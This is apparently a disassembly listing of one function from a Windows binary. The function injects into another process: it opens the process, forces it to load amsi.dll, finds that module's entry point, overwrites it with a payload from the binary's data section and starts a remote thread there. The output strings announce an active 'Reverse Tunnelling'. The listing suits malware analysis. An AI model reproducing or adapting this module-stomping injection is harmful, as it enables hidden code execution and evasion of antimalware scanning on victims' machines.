Function at 0x140001350
Capabilities:
Enumerate process modules
Link many functions at runtime

Disassembly:
push rsi
sub rsp, 0xa50
mov dword [rsp + 0xa4c], ecx
mov qword [rsp + 0xa40], 0
mov dword [rsp + 0xa3c], 0
mov qword [rsp + 0xa30], 0
mov qword [rsp + 0xa28], 0
lea rcx, [rsp + 0x9f8]
xor edx, edx
mov r8d, 0x30
call fcn.140003fc0
mov dword [rsp + 0x9f8], 0x30
mov eax, dword [rsp + 0xa4c]
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x9f0], 0
mov qword [rsp + 0x9e0], 0
mov qword [rsp + 0x9d8], 0
lea rcx, [rsp + 0x990]
lea rdx, str.C:windows_system32_amsi.dll
mov r8d, 0x3a
call fcn.140004380
lea rcx, [rsp + 0x190]
xor edx, edx
mov r8d, 0x800
call fcn.140003fc0
mov qword [rsp + 0x188], 0x3a
mov dword [rsp + 0x184], 0x800
mov dword [rsp + 0x180], 0
mov dword [rsp + 0x17c], 0
mov qword [rsp + 0x170], 0
lea rcx, [rsp + 0xf0]
xor edx, edx
mov r8d, 0x80
call fcn.140003fc0
mov qword [rsp + 0xe8], 0
lea rcx, str._i__populating_function_prototypes_n
call fcn.140001f40
lea rcx, [0x14001e510]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0xa40], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
lea rcx, section..data
mov edx, 0x1ff
mov r8d, 0x4b
call section..text
lea rcx, [rsp + 0x9e0]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
lea r9, [rsp + 0x9e8]
call qword [rsp + 0xe0]
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x9e0]
lea rdx, [rsp + 0x9d8]
xor r8d, r8d
lea r9, [rsp + 0x188]
mov dword [rsp + 0x20], 0x1000
mov dword [rsp + 0x28], 4
call rax
mov rax, qword [rsp + 0xd0]
mov r9, qword [rsp + 0x188]
lea r8, [rsp + 0x990]
mov rdx, qword [rsp + 0x9d8]
mov rcx, qword [rsp + 0x9e0]
xor r10d, r10d
mov qword [rsp + 0x20], 0
call rax
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc8]
mov r10, qword [rsp + 0x9d8]
mov r11, qword [rsp + 0xc0]
mov r9, qword [rsp + 0x9e0]
lea rcx, [rsp + 0xb8]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
xor esi, esi
xor esi, esi
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call rax
mov rcx, qword [rsp + 0xb8]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8d, dword [rsp + 0x184]
lea rdx, [rsp + 0x190]
mov rcx, qword [rsp + 0x9e0]
lea r9, [rsp + 0x180]
call sub.KERNEL32.dll_K32EnumProcessModules
mov eax, dword [rsp + 0x180]
shr rax, 3
mov qword [rsp + 0x170], rax
mov qword [rsp + 0xb0], 0
mov rax, qword [rsp + 0xb0]
cmp rax, qword [rsp + 0x170]
jae 0x140001771
mov rax, qword [rsp + 0xb0]
mov rax, qword [rsp + rax*8 + 0x190]
mov qword [rsp + 0xe8], rax
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x9e0]
mov r9d, 0x80
call sub.KERNEL32.dll_K32GetModuleBaseNameA
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x90]
call fcn.140001fb0
lea rcx, [rsp + 0x90]
lea rdx, str.amsi.dll
call fcn.140002030
mov dword [rsp + 0x64], eax
lea rcx, [rsp + 0x90]
call fcn.1400020a0
mov eax, dword [rsp + 0x64]
cmp eax, 0
jne 0x140001753
mov rax, qword [rsp + 0xb0]
mov r8, qword [rsp + rax*8 + 0x190]
lea rdx, [rsp + 0xf0]
lea rcx, str.___Remote_Module_Name:__s_at__p_n
call fcn.140001f40
jmp 0x140001771
jmp 0x140001758
mov rax, qword [rsp + 0xb0]
add rax, 1
mov qword [rsp + 0xb0], rax
jmp 0x140001692
mov dword [rsp + 0x8c], 0x1000
mov eax, dword [rsp + 0x8c]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x8c]
mov r9d, eax
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x9e0]
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xe8]
add rax, rcx
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.___Address_of_dllEtry:__p__n
call fcn.140001f40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x9e0]
lea r8, section..data
mov r9d, 0x200
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0xc8]
mov r10, qword [rsp + 0x68]
mov r9, qword [rsp + 0x9e0]
lea rcx, [rsp + 0xa28]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
xor r11d, r11d
xor r11d, r11d
mov qword [rsp + 0x20], r10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call rax
mov dword [rsp + 0xa3c], eax
cmp dword [rsp + 0xa3c], 0
je 0x1400018ef
mov edx, dword [rsp + 0xa3c]
lea rcx, str.____failed_to_create_thread__error:_0x_lx_n
call fcn.140001f40
jmp 0x1400018fb
lea rcx, str.___thread_created__the_Reverse_Tunnelling_is_active_n
call fcn.140001f40
xor eax, eax
add rsp, 0xa50
pop rsi
ret